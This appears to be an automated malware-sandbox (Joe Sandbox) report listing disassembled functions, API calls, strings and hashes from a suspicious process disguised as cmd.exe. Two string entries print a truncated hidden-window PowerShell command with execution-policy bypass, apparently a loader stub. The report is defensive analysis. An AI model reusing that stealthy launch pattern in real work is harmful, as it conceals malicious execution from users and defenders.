Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: CurrentFormatMessageThread
String ID: $%hs!%p: $%hs(%d) tid(%x) %08X %ws$%hs(%u)\%hs!%p: $(caller: %p) $CallContext:[%hs] $Exception$FailFast$LogHr$Msg:[%ws] $ReturnHr$[%hs(%hs)]$[%hs]
API String ID: 2411632146-3173542853
Opcode ID: fb2fb1c3bf230b004cc3ce09a0c69924bb125e2a6cca917ccdca682aa570422a
Instruction ID: 511c082119e5fedb2a993a2997cd065124dde93d68b6af1cc767cc8040cd502b
Opcode Fuzzy Hash: fb2fb1c3bf230b004cc3ce09a0c69924bb125e2a6cca917ccdca682aa570422a
Instruction Fuzzy Hash: F0617E69A09E42C5EA64DF61A4845B5ABA0FF44FA8F480136DA0D87B78DF3CE941CB00

Uniqueness

Uniqueness Score: -1.00%

Function 0000020D0B6212C8 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120memoryregistrystringCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 0000020D0B621326
GetProcessHeap.KERNEL32 ref: 0000020D0B621334
HeapAlloc.KERNEL32 ref: 0000020D0B621345
RegEnumValueW.ADVAPI32 ref: 0000020D0B6213A1

Part of subcall function 0000020D0B621554: StrCmpIW.SHLWAPI ref: 0000020D0B621585

GetProcessHeap.KERNEL32 ref: 0000020D0B6213E9
HeapAlloc.KERNEL32 ref: 0000020D0B6213F7
GetProcessHeap.KERNEL32 ref: 0000020D0B62141B
HeapFree.KERNEL32 ref: 0000020D0B621429
lstrlenW.KERNEL32 ref: 0000020D0B621432
GetProcessHeap.KERNEL32 ref: 0000020D0B621440
HeapAlloc.KERNEL32 ref: 0000020D0B62144E
StrCpyW.SHLWAPI ref: 0000020D0B621470
GetProcessHeap.KERNEL32 ref: 0000020D0B621485
HeapFree.KERNEL32 ref: 0000020D0B621493

Strings

d, xrefs: 0000020D0B621365

Memory Dump Source

Source File: 00000010.00000002.2907303660.0000020D0B620000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000020D0B620000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_20d0b620000_$sxr-cmd.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 6bcc7a94b8732a062315a7af28d29bd62de89db6d10a7923a3b74cbbd2f289e1
Instruction ID: d273b7b33453f497520c7649af28154c3e077199ecb6268de16b7456aa80a0fb
Opcode Fuzzy Hash: 6bcc7a94b8732a062315a7af28d29bd62de89db6d10a7923a3b74cbbd2f289e1
Instruction Fuzzy Hash: 81515A72609B4493FB14CFA2E54839AB3B2F789FA4F848125DA4D4BB15EF3DC0568744

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6155026E0 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 187fileCOMMON

Download Yara Rule

APIs

CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF61550277D
_open_osfhandle.MSVCRT ref: 00007FF61550279E

Strings

con, xrefs: 00007FF6155027EF

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: CreateFile_open_osfhandle
String ID: con
API String ID: 2905481843-4257191772
Opcode ID: bb4e9a8148a0ebbab0b20462a10cedd0498cb3513ed2e56bee41ab165d728bb2
Instruction ID: 82a5cf1588d834431d52ddf4c23b01662e4207ca4d5f36ed2d61eedcf12bb714
Opcode Fuzzy Hash: bb4e9a8148a0ebbab0b20462a10cedd0498cb3513ed2e56bee41ab165d728bb2
Instruction Fuzzy Hash: B3717836608A41CAE7608F24E440679FBA4FB49FB5F544235DA5EC27A5DF3CD849CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6155193E8 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 168COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6155033A8: iswspace.MSVCRT ref: 00007FF6155033C0

wcsrchr.MSVCRT ref: 00007FF615519465

Part of subcall function 00007FF615509158: RtlCaptureContext.NTDLL ref: 00007FF615509163
Part of subcall function 00007FF615509158: RtlLookupFunctionEntry.NTDLL ref: 00007FF615509182
Part of subcall function 00007FF615509158: RtlVirtualUnwind.NTDLL ref: 00007FF6155091CF
Part of subcall function 00007FF615509158: __raise_securityfailure.LIBCMT ref: 00007FF615509245

wcschr.MSVCRT ref: 00007FF615519486
wcsrchr.MSVCRT ref: 00007FF6155194C1
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF6155194E5
GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF6155194FC
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF615519519
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF61551952A
GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF615519541
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF61551955E
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF615519587
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF6155195E1
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF6155195FD

Strings

, xrefs: 00007FF6155195BA

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: ConsoleMode$Handle$wcsrchr$CaptureContextEntryFunctionLookupUnwindVirtual__raise_securityfailureiswspacewcschr
String ID:
API String ID: 3829876242-3916222277
Opcode ID: 001fdc610d61f38e35d8eb850943c57dbc85407de928d369b3e64990ecac9e6a
Instruction ID: 0025b68514c8c5cac08e43c93fa05bfbf9a60519e6f4a277ed00fffb906e174d
Opcode Fuzzy Hash: 001fdc610d61f38e35d8eb850943c57dbc85407de928d369b3e64990ecac9e6a
Instruction Fuzzy Hash: E4615D2AA08A4286EA149F11945417EFBB1FFC9FA4F468135DE0E877A5DF3CED058B40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF615521A40 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 148COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF615521AA6
memset.MSVCRT ref: 00007FF615521ACC

Part of subcall function 00007FF6154FCA40: memset.MSVCRT ref: 00007FF6154FCAB3

GetVolumePathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF615521B3E
GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF615521B67
GetVolumeInformationW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF615521BD7
_wcsicmp.MSVCRT ref: 00007FF615521C05
_wcsicmp.MSVCRT ref: 00007FF615521C34
_wcsicmp.MSVCRT ref: 00007FF615521C63
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF615521C89
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF615521CA9

Strings

NTFS, xrefs: 00007FF615521BFA
REFS, xrefs: 00007FF615521C29
CSVFS, xrefs: 00007FF615521C58

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: _wcsicmpmemset$Volume$DriveInformationNamePathType
String ID: CSVFS$NTFS$REFS
API String ID: 3510147486-2605508654
Opcode ID: 16da7e415156957614f2e65e2147701ecc6f9267ccedce46241fe4d5de2b202f
Instruction ID: 0bcf1587271e0b5ce62656cad237ee7fbf5ee5365911317c6a1c377ee08d45d1
Opcode Fuzzy Hash: 16da7e415156957614f2e65e2147701ecc6f9267ccedce46241fe4d5de2b202f
Instruction Fuzzy Hash: 2161293A608BC2CAEB658F21D8443EAB7A4FB45F95F444135DA0D8B768DF78DA45C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154F72B0 Relevance: 21.3, APIs: 1, Strings: 11, Instructions: 283COMMON

Download Yara Rule

APIs

longjmp.MSVCRT(?,00000000,00000000,00007FF6154F7279,?,?,?,?,?,00007FF6154FBFA9), ref: 00007FF615514485

Strings

LSS , xrefs: 00007FF615514799
GTR , xrefs: 00007FF6155147B5
EQU , xrefs: 00007FF61551477D
LEQ , xrefs: 00007FF6155147A7
FOR, xrefs: 00007FF615514535
GEQ , xrefs: 00007FF6155147C1
FOR /?, xrefs: 00007FF615514654
IF /?, xrefs: 00007FF615514664
NEQ , xrefs: 00007FF61551478B
== , xrefs: 00007FF615514765
REM /?, xrefs: 00007FF615514678

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: longjmp
String ID: == $EQU $FOR$FOR /?$GEQ $GTR $IF /?$LEQ $LSS $NEQ $REM /?
API String ID: 1832741078-366822981
Opcode ID: 33da1405c176275929384e71d7b709e1d480dac8859b2aca32cf24daa89c1558
Instruction ID: 0701d72f038bbee938f658a1b3faebe36b3e592fee8e5d3f94461ee42039c278
Opcode Fuzzy Hash: 33da1405c176275929384e71d7b709e1d480dac8859b2aca32cf24daa89c1558
Instruction Fuzzy Hash: EDC17E68E0CE42C1E628DF5A55905BDAFA1AB46FA4F916036DD0DD76B1CF3CAC46C340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154FB998 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 275COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6154FCD90: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF6154FB9A1,?,?,?,?,00007FF6154FD81A), ref: 00007FF6154FCDA6
Part of subcall function 00007FF6154FCD90: RtlAllocateHeap.NTDLL(?,?,?,00007FF6154FB9A1,?,?,?,?,00007FF6154FD81A), ref: 00007FF6154FCDBD

memset.MSVCRT ref: 00007FF6154FBA2B
wcschr.MSVCRT ref: 00007FF6154FBA8A
wcschr.MSVCRT ref: 00007FF6154FBAAA

Strings

=,;+/[] ", xrefs: 00007FF6154FBA83
=,;, xrefs: 00007FF6154FBC9C
-, xrefs: 00007FF61550C3EA
:.\, xrefs: 00007FF6154FBAA3

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: Heapwcschr$AllocateProcessmemset
String ID: -$:.\$=,;$=,;+/[] "
API String ID: 2060774286-969133440
Opcode ID: 7b3217b0480b3f12f234bd17b6b4b81bb5ac0aea220cc5327607834eba670ac4
Instruction ID: ccb66dcd33a02d0ffe406fcad70186da03e5273b36123d48c4b9630015d3967c
Opcode Fuzzy Hash: 7b3217b0480b3f12f234bd17b6b4b81bb5ac0aea220cc5327607834eba670ac4
Instruction Fuzzy Hash: 5AB17225A0DE8281EA608B1D9488279E7A0FF4AFA4F554236CA5EC77B4DF3CEC558700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF615502B94 Relevance: 19.6, APIs: 6, Strings: 7, Instructions: 110COMMON

Download Yara Rule

Strings

GEQ, xrefs: 00007FF615502D38
LEQ, xrefs: 00007FF615502CB6
LSS, xrefs: 00007FF615502C9C
EQU, xrefs: 00007FF615502C6B
NEQ, xrefs: 00007FF615502C82
NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function ZXowG($YGfCS){$HJBVM=[System.Secu, xrefs: 00007FF615502C2D
GTR, xrefs: 00007FF615502CD0

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID:
String ID: EQU$GEQ$GTR$LEQ$LSS$NEQ$NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function ZXowG($YGfCS){$HJBVM=[System.Secu
API String ID: 0-286494561
Opcode ID: 27546f26981fd3a6242742626cf9575fc19742bdde1af1eb23768a0abe577f48
Instruction ID: 8fa1f6ee290fdf6532f2c107a1c70f30921486b8ed21701645013e354e4328ef
Opcode Fuzzy Hash: 27546f26981fd3a6242742626cf9575fc19742bdde1af1eb23768a0abe577f48
Instruction Fuzzy Hash: BA516929A0CE53C6FB549F20E4443B8ABA1BF55FA9F405036DA0EC66B5DF3CAC468701

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154FFC30 Relevance: 19.6, APIs: 9, Strings: 2, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF6154FFC38
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF6154FFC52
MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0 ref: 00007FF615500181
memset.MSVCRT ref: 00007FF61550D580
longjmp.MSVCRT ref: 00007FF61550D59F
memmove.MSVCRT ref: 00007FF61550D5C4
longjmp.MSVCRT ref: 00007FF61550D5FC
longjmp.MSVCRT ref: 00007FF61550D62B
longjmp.MSVCRT ref: 00007FF61550D660

Strings

0123456789, xrefs: 00007FF6154FFDEE
C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function ZX, xrefs: 00007FF6154FFD7F, 00007FF61550D585, 00007FF61550D5CB

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: longjmp$Heap$AllocByteCharMultiProcessWidememmovememset
String ID: 0123456789$C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function ZX
API String ID: 1606811317-1934752915
Opcode ID: 8103515748828c6243a0f650469ddac0473b2fcaea6880b388f8c0650ade34ac
Instruction ID: 5e2df4a1ebe73c5c48e9c9cdd219d8ddbac8db37b9d5f22b0f319a26a386f6a9
Opcode Fuzzy Hash: 8103515748828c6243a0f650469ddac0473b2fcaea6880b388f8c0650ade34ac
Instruction Fuzzy Hash: 36D19029A08E8292EA508B29A840179B7A0FF45FB4F845132DE6ED77B5DF3CEC15C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6155203AC Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 219COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF615520411
memset.MSVCRT ref: 00007FF615520436
memset.MSVCRT ref: 00007FF615520459

Part of subcall function 00007FF6154FCA40: memset.MSVCRT ref: 00007FF6154FCAB3

GetVolumeInformationW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF615520590
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF6155205A0
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF6155205BB
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF6155206F3
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF615520712
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF615520731

Strings

%04X-%04X, xrefs: 00007FF615520698
~, xrefs: 00007FF61552046D

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: memset$ErrorLast$InformationVolume
String ID: %04X-%04X$~
API String ID: 2748242238-2468825380
Opcode ID: 6140927c712726b5ce6b5c6052370d277af7610c6653376c5bf883b173b19ee6
Instruction ID: 0c288460468142ccad92143f6a5e32a9b365263dcaf035a1ef4376a9bf912e06
Opcode Fuzzy Hash: 6140927c712726b5ce6b5c6052370d277af7610c6653376c5bf883b173b19ee6
Instruction Fuzzy Hash: FBA17266709FC1CAEB258F21D8402E9B7A1FB85F94F408135DA4D8BB69DF3CDA458700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61550662C Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 170COMMON

Download Yara Rule

APIs

wcschr.MSVCRT ref: 00007FF615506677
iswdigit.MSVCRT ref: 00007FF61550668F
_errno.MSVCRT ref: 00007FF6155066A3
wcstol.MSVCRT ref: 00007FF6155066C4
iswdigit.MSVCRT ref: 00007FF6155066E4
iswalpha.MSVCRT ref: 00007FF6155066FE

Strings

APerformUnaryOperation: '%c', xrefs: 00007FF61550F78E
+-~!, xrefs: 00007FF615506670

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: iswdigit$_errnoiswalphawcschrwcstol
String ID: +-~!$APerformUnaryOperation: '%c'
API String ID: 2348642995-441775793
Opcode ID: 3043d5b8b3736d8e68c05dd1a897401147fff5d71c47df5c8b899d9aaf2ce369
Instruction ID: 3881cb66ca690c921efd156e9419d1cc882bf004edaefe0833ab4cd679ab186a
Opcode Fuzzy Hash: 3043d5b8b3736d8e68c05dd1a897401147fff5d71c47df5c8b899d9aaf2ce369
Instruction Fuzzy Hash: 23716D7AD08E46C5E7605F25D410179F7A0EB49FA8F68D032DA4EC62A5EF3CE984C721

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154F9400 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 161COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF6154F9462
memset.MSVCRT ref: 00007FF6154F9485
memset.MSVCRT ref: 00007FF6154F94AA

Part of subcall function 00007FF6154FCA40: memset.MSVCRT ref: 00007FF6154FCAB3

??_V@YAXPEAX@Z.MSVCRT ref: 00007FF61550B6A9

Part of subcall function 00007FF615505EE4: memset.MSVCRT ref: 00007FF615505F5D
Part of subcall function 00007FF615505EE4: towupper.MSVCRT ref: 00007FF615505FFE
Part of subcall function 00007FF615505EE4: ??_V@YAXPEAX@Z.MSVCRT ref: 00007FF615506029

GetVolumeInformationW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF6154F95D3
_wcsicmp.MSVCRT ref: 00007FF6154F9603
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF6154F963D
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF6154F965C
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF61550B67A

Strings

FAT, xrefs: 00007FF6154F95F8
~, xrefs: 00007FF6154F94BE

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: memset$ErrorInformationLastVolume_wcsicmptowupper
String ID: FAT$~
API String ID: 2238823677-1832570214
Opcode ID: 31d5b5f442e73b16389405a1f8f1aa1cf1f987a59b4b054618f08dfe6adbd7a2
Instruction ID: 06c52c93fde41796efe2c4c7356c8bcdc0fa0084f3097c1c1c51e4a471e33e06
Opcode Fuzzy Hash: 31d5b5f442e73b16389405a1f8f1aa1cf1f987a59b4b054618f08dfe6adbd7a2
Instruction Fuzzy Hash: 66717E36608FC1C9EB61CF25D8502EAB7A4FB45F98F408036DA4D8BB69DF38DA458700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154FD840 Relevance: 18.4, APIs: 12, Instructions: 444memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000010,?,00000000,0000000E,00000025,00007FF6155351B2,00007FF6154FFE2A), ref: 00007FF6154FD884
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000010,?,00000000,0000000E,00000025,00007FF6155351B2,00007FF6154FFE2A), ref: 00007FF6154FD89D
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000010,?,00000000,0000000E,00000025,00007FF6155351B2,00007FF6154FFE2A), ref: 00007FF6154FD94D
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000010,?,00000000,0000000E,00000025,00007FF6155351B2,00007FF6154FFE2A), ref: 00007FF6154FD964
_wcsnicmp.MSVCRT ref: 00007FF6154FDB89
wcstol.MSVCRT ref: 00007FF6154FDBDF
wcstol.MSVCRT ref: 00007FF6154FDC63
memmove.MSVCRT ref: 00007FF6154FDD33
memmove.MSVCRT ref: 00007FF6154FDE9A
longjmp.MSVCRT(?,?,?,?,?,?,?,?,00000000,00000010,?,00000000,0000000E,00000025,00007FF6155351B2,00007FF6154FFE2A), ref: 00007FF6154FDF1F

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: Heap$AllocProcessmemmovewcstol$_wcsnicmplongjmp
String ID:
API String ID: 1051989028-0
